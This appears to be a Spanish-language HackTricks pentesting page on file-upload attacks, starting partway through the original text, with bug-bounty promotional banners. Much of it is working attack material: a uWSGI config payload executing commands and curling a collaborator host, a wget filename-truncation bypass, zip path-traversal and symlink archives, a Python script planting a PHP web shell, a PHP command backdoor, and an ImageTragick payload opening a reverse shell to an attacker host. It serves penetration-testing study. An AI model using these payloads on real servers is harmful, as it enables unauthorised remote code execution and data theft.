hacktricks/pentesting-web/file-upload
2023-06-03 01:46:23 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated to Spanish 2023-06-03 01:46:23 +00:00
README.md Translated to Spanish 2023-06-03 01:46:23 +00:00

Subida de archivos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. Únete a nosotros en [**https://go.intigriti

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Cuando el archivo de configuración sea analizado, el payload será ejecutado. Tenga en cuenta que para que la configuración sea analizada, el proceso debe ser reiniciado (¿crash? ¿DoS?) o el archivo recargado automáticamente (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).

Nota importante: El análisis del archivo de configuración de uWSGI es laxo. El payload anterior puede estar incrustado dentro de un archivo binario (por ejemplo, imagen, pdf, ...).

Truco de carga de archivos / SSRF de wget

En algunas ocasiones, puede encontrar que un servidor está utilizando wget para descargar archivos y puede indicar la URL. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados está dentro de una lista blanca para asegurarse de que solo se descarguen los archivos permitidos. Sin embargo, esta comprobación se puede pasar por alto.
La longitud máxima de un nombre de archivo en Linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo burlará la comprobación (como en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Ten en cuenta que otra opción que podrías estar considerando para evitar esta comprobación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial evite la comprobación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se esté utilizando con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

Otros recursos

Desde la carga de archivos hasta otras vulnerabilidades

Aquí hay una lista de los 10 principales cosas que se pueden lograr mediante la carga de archivos (de enlace):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Extensión de Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Bytes de cabecera mágica

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulta https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivos.

Carga automática de archivos Zip/Tar descomprimidos

Si puedes cargar un ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:

Enlace simbólico

Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos, accederás a los archivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descomprimir en diferentes carpetas

Los archivos descomprimidos se crearán en carpetas inesperadas.

Uno podría fácilmente asumir que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.

Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

También puedes usar el truco de symlink con evilarc, si la bandera está en /flag.txt asegúrate de crear un symlink a ese archivo y crear ese archivo en tu sistema para que cuando llames a evilarc no genere un error.

Aquí hay un código en Python para crear un zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close() 

create_zip()

Para lograr la ejecución remota de comandos, seguí los siguientes pasos:

  1. Creé una shell PHP:
<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
  1. Utilice la técnica de "file spraying" y cree un archivo zip comprimido:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
:set modifiable
:%s/xxA/..\//g
:x!

¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:

b1

Referencia: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

Carga este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick, 7.0.1-1).

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustando un shell PHP en una imagen PNG

La razón principal para poner un shell web en el chunk IDAT es que tiene la capacidad de evitar operaciones de redimensionamiento y re-muestreo - PHP-GD contiene dos funciones para hacer esto imagecopyresized y imagecopyresampled.

Lee este post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Políglotos

Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un GIFAR es tanto un archivo GIF como un archivo RAR. También hay archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.

Los archivos políglotos se utilizan a menudo para evitar la protección basada en tipos de archivo. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.

Esto ayuda a cargar un archivo que cumpla con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece una imagen JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.

Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo, ¡y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥